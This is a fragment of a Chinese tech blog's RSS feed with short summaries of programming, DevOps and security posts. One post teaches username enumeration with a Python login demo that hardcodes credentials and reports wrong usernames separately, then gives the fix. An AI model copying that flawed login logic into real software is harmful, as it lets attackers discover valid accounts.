的改进细节，届时，我也将继续翻译，敬请期待！）&#xA;目录 优化了一些 printf 风格 % 的格式化代码优化了 Python 大整数的除法优化了数字 PyLongs 求和精简列表的扩容操作，提升了 list.append 性能减少了全 unicode 键的字典的内存占用提升了使用asyncio.DatagramProtocol 传输大文件的速度对于 math 库：优化了 comb(n, k) 与 perm(n, k=None)对于 statistics 库：优化了 mean(data)、variance(data, xbar=None) 与 stdev(data, xbar=None)纯 ASCII 字符串的 unicodedata.</description>
    </item>
    <item>
      <title>vi 查找关键字</title>
      <link>https://bchobby.github.io/posts/04b0b5b3437a40ebb07e46bc8850786e/</link>
      <pubDate>Wed, 23 Nov 2022 17:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04b0b5b3437a40ebb07e46bc8850786e/</guid>
      <description>vi打开一个文件后命令模式下敲斜杆( / )，这时在状态栏（也就是屏幕左下脚）就出现了 “/”然后输入你要查找的关键字敲回车就可以了。如果你要继续查找此关键字，敲字符 n 就可以继续查找了。敲字符N（大写N）就会向前查询； PS： 命令行下 冒号（：）加数字就会跳到number 行</description>
    </item>
    <item>
      <title>JPA 使用过程中问题汇总（持续更新...）</title>
      <link>https://bchobby.github.io/posts/7505a22475ac18aa886e6885f8833920/</link>
      <pubDate>Wed, 23 Nov 2022 16:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7505a22475ac18aa886e6885f8833920/</guid>
      <description>文章目录 有事务时，JPA save方法无法捕获异常JPA引起cpu过高，转换成entity时太慢，使用原生JDBC查询JPA将已持久化的对象在开启事务时调用set方法重新设置某些属性字段值时，库里数据会发生改变使用jpa自动生成表jpa.generate-ddl和jpa.hibernate.ddl-autoJPA save数据时，如果数据没有赋值，即使数据库层面设置了default值，但仍然会插入nullJPA的save和saveAndFlush可以返回存储的实例，以获得存入数据的主键Batch update returned unexpected row count from update [0]； actual row count: 0； expected: 1javax.persistence.TransactionRequiredException: Executing an update/delete queryJPA修改属性后再查询未生效问题JPA使用find自定义方法时，只能查出entity，不能查指定字段 有事务时，JPA save方法无法捕获异常 问题：&#xA;在类上有事务注解，在该类中，有一个方法中调用JPA save方法，但因为各种原因save应该报错，此时想捕获该异常，并不进行回滚和向上层抛出异常，但发现异常无法被捕获&#xA;情景再现：&#xA;entity实体类如下：&#xA;@Entity @Data @AllArgsConstructor @NoArgsConstructor @Builder @Table(name = &#34;employee&#34;, uniqueConstraints = {@UniqueConstraint(columnNames={&#34;department_id&#34;,&#34;company_id&#34;})}) public class Employee { @Id @Column(name = &#34;id&#34;, columnDefinition = &#34;varchar(64)&#34;) @GenericGenerator(name=&#34;idGenerator&#34;, strategy=&#34;uuid&#34;) @GeneratedValue(generator = &#34;idGenerator&#34;) private String id; @Column(name = &#34;name&#34;, columnDefinition = &#34;varchar(128) default null&#34;) private String name; @Column(name = &#34;</description>
    </item>
    <item>
      <title>Free.Spire.Office 发布bug解决</title>
      <link>https://bchobby.github.io/posts/cf9019e04bf56ce9491451744df5bea5/</link>
      <pubDate>Wed, 23 Nov 2022 15:43:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf9019e04bf56ce9491451744df5bea5/</guid>
      <description>Free.Spire.Office 发布bug解决 在 Program.cs 文件Main 方法 添加 重新加载dll 文件地址xls,word 转换方法 官网很详细，这里附上两个简单的 本地使用 nuget 下包 本地测试 word 转 pdf .doc 转 pdf 没有问题，发布到IIS 上测试程序报错&#xA;“无法找到 Spire.Xls.dll …” ,解决&#xA;在 Program.cs 文件Main 方法 添加 重新加载dll 文件地址 // An highlighted block public static void Main(string[] args) { #region 加载spire.office.dll 文件(服务器必须重新加载一遍，不然dll文件无法访问) Assembly entry = Assembly.GetEntryAssembly(); string dir = Path.GetDirectoryName(entry.Location);//获取网站根目录，我把dll文件放在了根目录 var filePath = Path.Combine(dir, &#34;Spire.Presentation.dll&#34;); AssemblyLoadContext.Default.LoadFromAssemblyPath(filePath); var filePath2 = Path.Combine(dir, &#34;Spire.Pdf.dll&#34;); AssemblyLoadContext.Default.LoadFromAssemblyPath(filePath2); var filePath3 = Path.</description>
    </item>
    <item>
      <title>CCF推荐&#43;SCI二区期刊征收AI方向特刊|确定3个月出录用结果</title>
      <link>https://bchobby.github.io/posts/dac05fdbf04feea169218048038f8aef/</link>
      <pubDate>Wed, 23 Nov 2022 14:35:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dac05fdbf04feea169218048038f8aef/</guid>
      <description>点击文末卡片，&#xA;关注“计算机会议投稿”公众号&#xA;期刊名：NEUROCOMPUTING&#xA;中科院SCI分区：2区&#xA;CCF等级：人工智能目录下C类&#xA;官网：&#xA;http://www.elsevier.com/wps/find/journaldescription.cws_home/505628/description&#xA;Neurocomputing目前正在面向Vision Transformers and Graph-based Models for Human Activity Understanding特刊进行征稿，感兴趣的朋友可以关注一下。&#xA;（特刊也是正刊，只是某个主题的专辑，不影响SCI检索！）&#xA;该特刊截稿日期为2022年12月14日，录用通知日期为2023年3月1日。&#xA;For a wide array of computer vision tasks, such as image recognition, object detection, segmentation and image captioning, Vision Transformers and graph models have achieved excellent performance. This special issue seeks original contributions to advance the theory and algorithmic design of vision transformers and graph models for human activity understanding. In this special issue, we aim to present state-of-the-art vision transforms and graph models based human activity understanding techniques that are developed to solve problems related to (and not restricted to) activity modelling, action/activity recognition, prediction, etc.</description>
    </item>
    <item>
      <title>数据分析之路的尽头是创业？</title>
      <link>https://bchobby.github.io/posts/1e977dcf41e68f1dd2ccf59c1b268867/</link>
      <pubDate>Tue, 22 Nov 2022 23:20:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e977dcf41e68f1dd2ccf59c1b268867/</guid>
      <description>一年多没有更新csdn了，一转眼2022年即将接近尾声。&#xA;关注我的很多小伙伴很好奇，这一年博主都去干了些啥？是否还在数据之路继续前行？是卷的飞起，卷出新境界了？还是早已被岁月磨平，随波逐流？&#xA;对博主来说这一年多的每一天都很平凡，有时候日子也会很煎熬；这一年又是酝酿美好的一年，是收获的一年；这一年是人生中的一个转折点，是结束，亦是开始。&#xA;博主想做一个好的品牌，想为客户创造价值这个种子真是由来已久了。计算机专业出身的我，回想整个大学四年课程，唯一留下深刻印象的依旧是那门选修课——《客户关系管理》。这门课讲了个什么事呢，总结一下就4个字：“跪舔客户”。哈哈哈，没错儿这就是我想要做的。这么多年过去了，初心未改。&#xA;时间过的真快，掐指一算，已经从学校里出来有7个年头儿了。这7年里做了半年的管培生，接着自学转行，继而是4年数据分析师的工作，近2半的时间主要做管理。这一路走来，无论是基层技术工，还是基层管理，我一直以主人翁的心态在做数据，做业务。对数据价值化、数据驱动业务增长的理解一天天加深，让我对做业务有了更强烈的“冲动”。终于，博主还是迈出了这一步。&#xA;创业。&#xA;有小伙伴知道我这个搞技术的人去创业，第一反应就问我，“难道数据分析之路的尽头，就是创业吗”？&#xA;有多大能量，做多大点事。我们都只能在自己的能量范围内做一些力所能及的事，我相信未来的每一天，我必然还在数据之路上，践行数据价值化、数据驱动业务增长的大道。&#xA;我想说，我只是遵从了我自己的内心，去做自己想要做的事。&#xA;每个人都应该这样，静下心来，与自己的灵魂对话。遵从更好的自己，绽放每个生命的奇迹，这个世界，将会因为有我们一个个精彩的生命，变的更加美好。</description>
    </item>
    <item>
      <title>使用 YOLOv5 进行图像分割的实操案例</title>
      <link>https://bchobby.github.io/posts/4b4b01e2c3e4cc676d25d150b4cd9b2b/</link>
      <pubDate>Tue, 22 Nov 2022 20:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b4b01e2c3e4cc676d25d150b4cd9b2b/</guid>
      <description>如何训练 YOLOv5 进行分割？简单来讲，包括几个步骤：&#xA;为图像分割准备数据集&#xA;在自定义数据集上训练 YOLOv5&#xA;使用 YOLOv5 进行推理&#xA;准备数据集&#xA;第一步，您需要以适当的格式准备数据集。这种格式与用于检测的 YOLOv5 格式非常相似。您需要创建类似如下所示的目录：&#xA;让我们看一下 data.yaml 文件的内部。该文件具有与检测任务相同的结构。其结构如下图所示：&#xA;data.yaml 文件的结构&#xA;train - path to your train images val - path to your validation images nc - number of classes names - сlass names 让我们看一下 .txt 文件的内部。&#xA;第一个元素是“0”，表示类别数。下一个值是多边形的 x 和 y 坐标。这些坐标被归一化为原始图像的大小。如果你想查看带有这个多边形的图像，可以使用下面的函数。第一个打开图像和标记文件，第二个显示图像和标记。&#xA;def read_image_label(path_to_img: str, path_to_txt: str, normilize: bool = False) -&amp;gt; Tuple[np.array, np.array]: # read image image = cv2.imread(path_to_img) image = cv2.</description>
    </item>
    <item>
      <title>java poi导出下载excel报表或下载到指定路径</title>
      <link>https://bchobby.github.io/posts/e5276cbe8d1fd40bd3904a58e84abb78/</link>
      <pubDate>Tue, 22 Nov 2022 19:05:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5276cbe8d1fd40bd3904a58e84abb78/</guid>
      <description>1. 数据库查出数据导出excel浏览器并下载 /** * 导出下载excel * @param list 导出数据 * @throws Exception */ public static void exportExcel(HttpServletResponse response, List&amp;lt;Student&amp;gt; list) throws Exception { SimpleDateFormat sdf1 = new SimpleDateFormat(&#34;yyyyMMddHHmmss&#34;); XSSFWorkbook wb = new XSSFWorkbook(); //标题行抽出字段 String[] title = {&#34;序号&#34;, &#34;学号&#34;, &#34;姓名&#34;, &#34;性别&#34;, &#34;入学时间&#34;, &#34;住址&#34;, &#34;手机号&#34;, &#34;其他信息&#34;}; //设置sheet名称，并创建新的sheet对象 Sheet stuSheet = wb.createSheet(); //获取表头行 Row titleRow = stuSheet.createRow(0); //创建单元格，设置style居中，字体，单元格大小等 CellStyle style = wb.createCellStyle(); Cell cell = null; //把已经写好的标题行写入excel文件中 for (int i = 0; i &amp;lt; title.</description>
    </item>
    <item>
      <title>Redis——》过期删除策略</title>
      <link>https://bchobby.github.io/posts/5f6ad1862ec852ea129a7ef5302772b1/</link>
      <pubDate>Tue, 22 Nov 2022 17:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f6ad1862ec852ea129a7ef5302772b1/</guid>
      <description>推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;Redis——》过期删除策略 一、过期删除策略1、定时删除2、惰性删除3、定期删除 二、Redis过期删除策略1、定期删除（1）设置执行时间间隔（2）执行过程 2、惰性删除 三、RDB对过期键的处理（开启RDB持久化）1、生成RDB文件2、载入RDB文件（1）如果服务器以主服务器模式运行（2）如果服务器以从服务器模式运行 四、AOF对过期键的处理（开启AOF持久化）1、AOF文件写入2、AOF文件重写 五、复制功能对过期键的处理 一、过期删除策略 策略定时删除惰性删除定期删除描述设置key过期时间时，创建一个定时器，让定时器在该过期时间到来时，立即执行对其进行删除的操作。当需要key时，首先检查是否过期，如果过期就删掉，反之返回值。每隔一段时间，对key进行检查，删除里面过期的key。优点对内存最友好对cpu最友好对内存友好&#xA;对cpu友好缺点对cpu不友好对内存不友好难以确定删除操作执行的时长和频率 1、定时删除 优点：对内存最友好（key只要过期就能立即从内存中删除）缺点：对CPU最不友好（在过期键比较多的时候，删除过期键会占用一部分 CPU 时间，对服务器的响应时间和吞吐量造成影响） 2、惰性删除 优点：对 CPU最友好（只在使用该键时才会进行过期检查，对于很多用不到的key不用浪费时间进行过期检查）缺点：对内存不友好（如果一个键已经过期，但是一直没有使用，那么该键就会一直存在内存中，如果数据库中有很多这种使用不到的过期键，这些键便永远不会被删除，内存永远不会释放，从而造成内存泄漏） 3、定期删除 优点：通过限制删除操作执行的时长和频率来减少删除操作对 CPU 的影响，也能有效释放过期键占用的内存。缺点： 1）难以确定删除操作执行的时长和频率&#xA;如果执行频率高：和定时删除一样，对CPU不友好&#xA;如果执行频率低：和惰性删除一样，对内存不友好&#xA;2）在获取某个键时，如果某个键的过期时间已经到了，但是还没执行定期删除，那么就会返回这个键的值，这是个严重的错误&#xA;二、Redis过期删除策略 Redis的过期删除策略 = 惰性删除 + 定期删除&#xA;过期删除策略处理方式实现函数描述惰性删除零散db.c/expireIfNeeded当key被访问时，调用函数检查key是否过期，如果过期则删除，否则继续执行实际命令定期删除集中redis.c/activeExpireCycle每隔一段时间，随机检查设置了过期的key并删除已过期的key 1、定期删除 Redis 会将每个设置了过期时间的 key 放入到一个独立的字典中，以后会定时遍历这个字典来删除到期的 key。&#xA;（1）设置执行时间间隔 # 每秒执行次数 hz 10 # 默认值：10 # 取值范围：1~500，建议不超过100，只有在请求延时非常低的情况下可以将值提升到100 Q：单线程的redis，如何知道要运行定时任务？&#xA;A：Redis 的定时任务会记录在一个称为最小堆的数据结构中。这个堆中，最快要执行的任务排在堆的最上方。在每个循环周期，Redis 都会将最小堆里面已经到点的任务立即进行处理。处理完毕后，将最快要执行的任务还需要的时间记录下来，这个时间就是接下来处理客户端请求的最大时长，若达到了该时长，则暂时不处理客户端请求而去运行定时任务。&#xA;（2）执行过程 Redis 默认会每秒进行10次过期扫描，但并不是遍历过期字典中所有的 key，而是采用了一种简单的贪心策略。&#xA;从过期字典中随机 20 个 key；删除这 20 个 key 中已经过期的 key；如果过期的 key 比率超过 1/4，那就重复步骤 1。 为了保证过期扫描不会出现循环过度，导致线程卡死现象，算法还增加了扫描时间的上限，默认不会超过 25ms。</description>
    </item>
    <item>
      <title>最近跑代码遇到的几个问题</title>
      <link>https://bchobby.github.io/posts/5286dc832445a14b9875f18d289a5bfc/</link>
      <pubDate>Tue, 22 Nov 2022 16:55:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5286dc832445a14b9875f18d289a5bfc/</guid>
      <description>错误总结 cuda out of memoryPILImage的问题tensor类型的问题__call__函数进行返回的时候显示未定义image.copy()的中重要性ValueError: The &#39;VI&#39; parameter is required for the mahalanobis metric when Y is passed. cuda out of memory 出现这个问题，我的原因是图片太大，显卡无法直接处理，因此需要对图片进行二次裁剪。&#xA;图片中是因为代码出了问题，没有裁剪成功。不过6000*4000的图片对于显卡来说可能太大了。&#xA;PILImage的问题 这个问题的原因，我将tensor格式的图片转为PILImage依然出现问题，即处理的结果是transformers.PILImage问题。&#xA;目前我的解决方案是：&#xA;将tensor转为ndarray，再将ndarray转为PILImage。则不会出现transformers.PILImage问题。&#xA;tensor类型的问题 这个报错的原因是因为没有将image转成想要的tensor格式，需要检查自己的transforms操作是否正确。&#xA;__call__函数进行返回的时候显示未定义 UnboundLocalError: local variable &#39;image&#39; referenced before assignment. 这里出现问题的原因是我设置了if语句时，对输入的变量进行重新定义。return却在if语句的前面。&#xA;image.copy()的中重要性 图像进行Flip增广操作之后的ndarray的存储格式是不连续的，因此会影响之后的输入，下面 是发生的报错情况。&#xA;ValueError: some of the strides of a given numpy array are negative. 所以利用copy()语法可以使内存重新变为连续。&#xA;ValueError: The ‘VI’ parameter is required for the mahalanobis metric when Y is passed. 解决方案：scikit-learn的版本需要改为0.</description>
    </item>
    <item>
      <title>RocketMQ服务中各端口号说明</title>
      <link>https://bchobby.github.io/posts/cfe571eaaf0acf246ee8ea036e6ce4cf/</link>
      <pubDate>Tue, 22 Nov 2022 15:43:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfe571eaaf0acf246ee8ea036e6ce4cf/</guid>
      <description>我们在安装rocketmq后，要开放的端口一般有4个：9876，10911，10912，10909&#xA;1，首先说9876&#xA;这个是nameserver中的端口,不做过多解释，链接nameserver就靠这个端口&#xA;2,剩下的3个都是RocketMQ-Broker中的端口&#xA;listenPort&#xA;listenPort参数是broker的监听端口号，是remotingServer服务组件使用，作为对Producer和Consumer提供服务的端口号，默认为10911，可以通过配置文件修改。&#xA;打开broker-x.conf，修改或增加listenPort参数：&#xA;#Broker 对外服务的监听端口&#xA;listenPort=10911&#xA;fastListenPort&#xA;fastListenPort参数是fastRemotingServer服务组件使用，默认为listenPort - 2，可以通过配置文件修改。&#xA;打开broker-x.conf，修改或增加fastListenPort参数&#xA;#主要用于slave同步master&#xA;fastListenPort=10909&#xA;haListenPort&#xA;haListenPort参数是HAService服务组件使用，用于Broker的主从同步，默认为listenPort - 1，可以通过配置文件修改。&#xA;打开broker-x.conf，修改或增加haListenPort参数：&#xA;#haService中使用&#xA;haListenPort=10912&#xA;remotingServer和fastRemotingServer的区别：&#xA;Broker端：&#xA;remotingServer可以处理客户端所有请求，如：生产者发送消息的请求，消费者拉取消息的请求。&#xA;fastRemotingServer功能基本与remotingServer相同，唯一不同的是不可以处理消费者拉取消息的请求。&#xA;Broker在向NameServer注册时，只会上报remotingServer监听的listenPort端口。&#xA;客户端：&#xA;默认情况下，生产者发送消息是请求fastRemotingServer，我们也可以通过配置让其请求remotingServer；消费者拉取消息只能请求remotingServer。</description>
    </item>
    <item>
      <title>​qemu-img 转换：raw、qcow2、qed、vdi、vmdk、vhd虚拟磁盘格式</title>
      <link>https://bchobby.github.io/posts/06624af1548954d9c14716d4b383b2f3/</link>
      <pubDate>Tue, 22 Nov 2022 15:03:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06624af1548954d9c14716d4b383b2f3/</guid>
      <description>qemu-img 转换：raw、qcow2、qed、vdi、vmdk、vhd ¶ 所述的qemu-IMG转换命令可以执行多种格式，包括之间的转换qcow2，qed， raw，vdi，vhd，和vmdk。&#xA;qemu-img 格式字符串 ¶ 图片格式&#xA;qemu-img 的参数&#xA;QCOW2（KVM、Xen）&#xA;qcow2&#xA;QED (KVM)&#xA;qed&#xA;生的&#xA;raw&#xA;VDI (VirtualBox)&#xA;vdi&#xA;VHD (Hyper-V)&#xA;vpc&#xA;VMDK (VMware)&#xA;vmdk&#xA;本示例将一个名为的原始图像文件转换为image.img qcow2 图像文件。&#xA;$ qemu-img convert -f raw -O qcow2 image.img image.qcow2 运行以下命令将 vmdk 映像文件转换为原始映像文件。&#xA;$ qemu-img convert -f vmdk -O raw image.vmdk image.img 运行以下命令将 vmdk 映像文件转换为 qcow2 映像文件。&#xA;$ qemu-img convert -f vmdk -O qcow2 image.vmdk image.qcow2 运行以下命令将 qcow2 映像文件转换为vmdk 映像文件。</description>
    </item>
    <item>
      <title>xorg-x11-服务器 (SL7)</title>
      <link>https://bchobby.github.io/posts/583d417306d1d79c056c36d9dcde9b39/</link>
      <pubDate>Tue, 22 Nov 2022 14:17:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/583d417306d1d79c056c36d9dcde9b39/</guid>
      <description>概要：重要：xorg-x11-server 安全更新&#xA;公告 ID：SLSA-2022:8491-1&#xA;发布日期：2022-11-16&#xA;CVE 编号：CVE​​-2022-3550&#xA;CVE-2022-3551&#xA;—&#xA;安全修复：&#xA;* xorg-x11-server：xkb/xkb.c 中的 _GetCountedString() 缓冲区溢出&#xA;(CVE-2022-3550)&#xA;* xorg-x11-server：xkb/xkb.c 中 ProcXkbGetKbdByName() 的内存泄漏&#xA;(CVE-2022-3551)&#xA;有关安全问题的更多详细信息，包括影响、CVSS&#xA;分数、致谢和其他相关信息，请参阅 CVE&#xA;—&#xA;SL7&#xA;x86_64&#xA;xorg-x11-server-Xephyr-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-Xorg-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-common-1.20。 4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-debuginfo-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-Xdmx-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11 -server-Xnest-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-Xvfb-1.20.4-19.el7_9.x86_64.rpm&#xA;xorg-x11-server-Xwayland-1.20.4-19.el7_9 .x86_64.rpm&#xA;xorg-x11-server-debuginfo-1.20.4-19.el7_9.i686.rpm&#xA;xorg-x11-server-devel-1.20.4-19.el7_9.i686.rpm&#xA;xorg-x11-server-devel- 1.20.4-19.el7_9.x86_64.rpm&#xA;noarch&#xA;xorg-x11-server-source-1.20.4-19.el7_9.noarch.rpm&#xA;– 科学 Linux 开发团队</description>
    </item>
    <item>
      <title>逻辑漏洞之用户名枚举</title>
      <link>https://bchobby.github.io/posts/b6e5f13cd52d432e670095a39d1d5d13/</link>
      <pubDate>Tue, 22 Nov 2022 10:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6e5f13cd52d432e670095a39d1d5d13/</guid>
      <description>学习目标： 从代码上分析用户名枚举 学习内容： 使用python写一个简单的账户密码登录分析问题整改问题 1.使用python写一个账户、密码登录次数判断代码 trycount=0 for i in range(3): #接收用户名和密码 username=input(&#39;请输入您的登录账户：&#39;) password=input(&#39;请输入您的密码：&#39;) trycount+=1 #判断用户名密码是否正确 if username ==&#34;admin&#34;: if password==&#34;admin888&#34;: print(&#34;登录成功&#34;) break else: print(&#34;用户名或密码错误&#34;) print(f&#34;您还有{3-trycount}次机会&#34;) else: print (&#34;用户错误&#34;) print (f&#34;你还有{3-trycount}次机会&#34;) 判断代码内容为输入用户账户判断账户正确，再输入密码判断错误（就引起了逻辑问题用户名枚举），总体反映用户和密码输入次数限制，可以防止暴力破解。&#xA;2.效果 安全问题就是给我们机会去使用别人的账户登录系统去看内部活动。&#xA;3.防护 防护其实很简单就是不管账户、密码任何一方输入正确都是使用“账户或密码输入错误”可以有效防止用户名枚举。&#xA;其他建议：&#xA;1.输入次数限制（有效防止暴力破解)&#xA;2.登录密码符合复杂程度（特殊字符+大小写字母+数字如何密码长度达10位以上破解年限将长达十几年）。</description>
    </item>
    <item>
      <title>linux Apache服务配置</title>
      <link>https://bchobby.github.io/posts/cc99696573b79cc9c783a5caec6ee15b/</link>
      <pubDate>Tue, 22 Nov 2022 10:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc99696573b79cc9c783a5caec6ee15b/</guid>
      <description>首先恢复虚拟机1、虚拟机2快照，重新准备环境，还原为初始状态，也就是刚刚安装好虚拟机的状态：&#xA;虚拟机1-单网卡-仅主机模式-192.168.100.3-Web服务器&#xA;虚拟机2-单网卡-仅主机模式-192.168.100.4-Linux客户端&#xA;物理机(windows系统宿主机)-Windows客户端&#xA;两台虚拟机保证本地yum源配好！！&#xA;两台虚拟机均关闭SELinux与firewalld防火墙！！&#xA;验证yum源是否配置成功&#xA;验证防火墙是否关闭&#xA;验证selinux的状态是否为不执行但是产生警告&#xA;-------------------------------------------------------&#xA;任务一、使用Apache发布个人主页&#xA;【1】通过 yum 源安装 Apache 服务&#xA;Centos 7系统上安装 Apache 软件有多种方式，比如源码编译安装、rpm 方式安装、yum源方式安装等。因为前面的课程中已经配置好了 yum 源，在此直接通过 yum 方式进行安装。&#xA;//-y选项表示不再询问直接安装安装完成后，可以通过rpm命令查看是否已经安装。&#xA;[root@localhost ~]# yum install -y httpd [root@localhost ~]# rpm -qa |grep httpd&#xA;如果能够在输出中看到 httpd-2.4.6-93.el7.centos.x86_64 这个包，则说明安装成功。&#xA;【2】运行 Apache 服务&#xA;启动服务。&#xA;[root@localhost ~]# systemctl start httpd&#xA;查看服务运行状态。&#xA;[root@localhost ~]# systemctl status httpd 通过该命令可以查看服务是否处于运行状态，比如结果中有 active (running)字样，表示服务正在运行中。&#xA;设置服务开机自启动。&#xA;[root@localhost ~]# systemctl enable httpd&#xA;设置为开机自启动后，当开机或者重启操作系统后，httpd自动运行&#xA;浏览器查看 Apache 默认测试页面。</description>
    </item>
    <item>
      <title>Jmeter压测工具详解</title>
      <link>https://bchobby.github.io/posts/f287b67189e313510224773b282de682/</link>
      <pubDate>Tue, 22 Nov 2022 09:54:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f287b67189e313510224773b282de682/</guid>
      <description>Jmeter压测工具详解 1. Jmeter概述1.1 Jmeter简介1.2 Jmeter适用场景 2. Jmeter安装配置2.1 下载安装2.2 环境配置（可不配）2.3 Jmeter启动 3. Jmeter安装插件管理工具3.1 JMeter Plugins Manager3.2 通过Plugins Manager安装插件 4. Jmeter与loadrunner的区别5. Jmeter的GET与POST请求5.1 Jmeter发送GET请求5.2 Jmeter发送POST请求 6. Jmeter并发测试7. Jmeter生成测试报告8. JMeter梯度测试、阶段性测试（每隔几秒增加几个线程直到一个数字停止增加）9. Jmeter注意事项9.1 content type不支持异常9.2 请求参数二选一9.3 JMETER 执行报错 Address already in use ：connect 如何解决该问题 1. Jmeter概述 1.1 Jmeter简介 Apache JMetier是Apache组织开发的基于Java的压力测试工具。一款非常优秀的开源的性能测试工具。&#xA;1.2 Jmeter适用场景 适用的测试领域：&#xA;用于对软件做压力测试，它最初被设计用于Web应用测试，但后来扩展到其他测试领域。它可以用于测试静态和动态资源，例如静态文件、 Java小服务程序、 CGI脚本、Java对象、数据库、 FTP服等器，等等。 JMeter可以用于对服务器、网络或对象模拟巨大的负载，来自不同压力类别下测试它们的强度和分析整体性能。JMetor能够对应用程序做功能/回归测试，通过创建带有断言的脚本来验证你的程序返回了你期望的结果。为了最大限度的灵活性， JMeter允许使用正则表达式创建断言。Apache jmeter可以用于对静态的和动态的资源（文件， Servlet» Perl脚本,java对象，数据库和查询， FTP服务器等等）的性能进行测试。接口测试数据库压力测试 一批量产生测试数据 2. Jmeter安装配置 2.1 下载安装 官网下载地址：http://jmeter.apache.org/download_jmeter.cgi&#xA;jmeter是免安装的，下载解压配置环境变量即可使用。&#xA;解压之后状态&#xA;2.2 环境配置（可不配） jdk1.8环境配置：Java -version 查看jdk版本。</description>
    </item>
    <item>
      <title>celery介绍</title>
      <link>https://bchobby.github.io/posts/dcec6e8079108005018e9801a07de66c/</link>
      <pubDate>Mon, 21 Nov 2022 20:17:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcec6e8079108005018e9801a07de66c/</guid>
      <description>目录&#xA;官方&#xA;架构： celery 是独立的服务&#xA;celery包结构&#xA;celery执行异步任务，延时任务，定时任务&#xA;异步任务&#xA;延时任务&#xA;定时任务&#xA;django 使用celery&#xA;秒杀逻辑&#xA;双写一致性&#xA;官方 Celery 官网：Celery - Distributed Task Queue — Celery 5.2.7 documentation&#xA;Celery 官方文档英文版：Celery - Distributed Task Queue — Celery 5.3.0b1 documentation&#xA;Celery 官方文档中文版：Celery - 分布式任务队列 — Celery 3.1.7 文档&#xA;Celery是一个简单、灵活且可靠的，处理大量消息的分布式系统&#xA;1. 完成异步任务：可以提高项目的并发量，以前用多线程实现项目的并发量，现在可以使用celery来做&#xA;2. 完成延时任务&#xA;3. 完成定时任务&#xA;架构： 消息中间件: broker 提交的任务【函数】都放在这里， celery本身不能提供消息中间件，需要借助于第三方： redis, rabbitmq&#xA;任务执行单元： worker，是真正执行任务的的地方， 一个个进程中执行函数&#xA;结果存储： backend, 函数return的结果都存储在这里， celery本身不提供结果存储，需要借助于第三方: redis 数据库， rabbitmq&#xA;celery 是独立的服务 1， 可以不依赖任何服务器，通过自身命令来启动服务</description>
    </item>
    <item>
      <title>相关对MIMO系统容量影响仿真</title>
      <link>https://bchobby.github.io/posts/809c46564f7170c5009dc3a9ae3af295/</link>
      <pubDate>Mon, 21 Nov 2022 15:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/809c46564f7170c5009dc3a9ae3af295/</guid>
      <description>clear all; close all; clc M=5000; R=[0.2 0.95];%相关矩阵 SNR=[0:2:20]; figure; xlabel(&#39;SNR[dB]&#39;,&#39;fontsize&#39;,18); ylabel(&#39;容量(bps/Hz)&#39;,&#39;fontsize&#39;,18); title(&#39;相关信道的容量比较&#39;,&#39;fontsize&#39;,18); grid on; hold on; for l=1:length(R) R_t=eye(2); R_r=[1 R(l);R(l) 1]; for snr_idx=1:length(SNR) snr=10^(SNR(snr_idx)/10); for m=1:M Hw=(randn(2,2)+1i*randn(2,2))/sqrt(2); H=R_r^(.5)*Hw*R_t^(.5); C(m,snr_idx)=log2((det(eye(2)+snr*H*H&#39;/2))); end Capacity(snr_idx,l)=mean(C(:,snr_idx)); end end plot(SNR,Capacity(:,1),&#39;k-&#39;,SNR,Capacity(:,2),&#39;kx-&#39;); for l=1:length(R) R_t=eye(2); R_r=[1 R(l);R(l) 1]; for snr_idx=1:length(SNR) snr=10^(SNR(snr_idx)/10); for m=1:M Hw=(randn(2,2)+1i*randn(2,2))/sqrt(2); H=R_r^(.5)*Hw*R_t^(.5); [gamma,eigs]=pwr_modes(H,snr); C(m,snr_idx)=sum(log2(real(1+eigs.*gamma*snr/2))); end Capacity(snr_idx,l)=mean(C(:,snr_idx)); end end plot(SNR,Capacity(:,1),&#39;k-.&#39;,SNR,Capacity(:,2),&#39;kd-&#39;); legend(&#39;R=0 CSI未知&#39;,&#39;R=0.95 CSI未知&#39;,&#39;R=0 CSI已知&#39;,&#39;R=0.95 CSI已知&#39;); %计算gamma和奇异值子程序，子程序名称:pwr_modes.m function [g,l]=pwr_modes(H,rho) %输入参数：H为信道矩阵，rho为信噪比 %输出参数：g为gamma值，l为奇异值eigs %这部分程序参看注水算法 N_tilde=size(H,1); l_tilde=real(eig(H*H&#39;)); l=l_tilde(find(l_tilde~=0));%返回矩阵或向量中非零元素的索引值 N=length(l); mu=(N_tilde+sum(N_tilde.</description>
    </item>
    <item>
      <title>安卓的工程目录文件夹简单介绍</title>
      <link>https://bchobby.github.io/posts/8b0b1aef4c038aaf3064f73b501dad0d/</link>
      <pubDate>Mon, 21 Nov 2022 14:36:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b0b1aef4c038aaf3064f73b501dad0d/</guid>
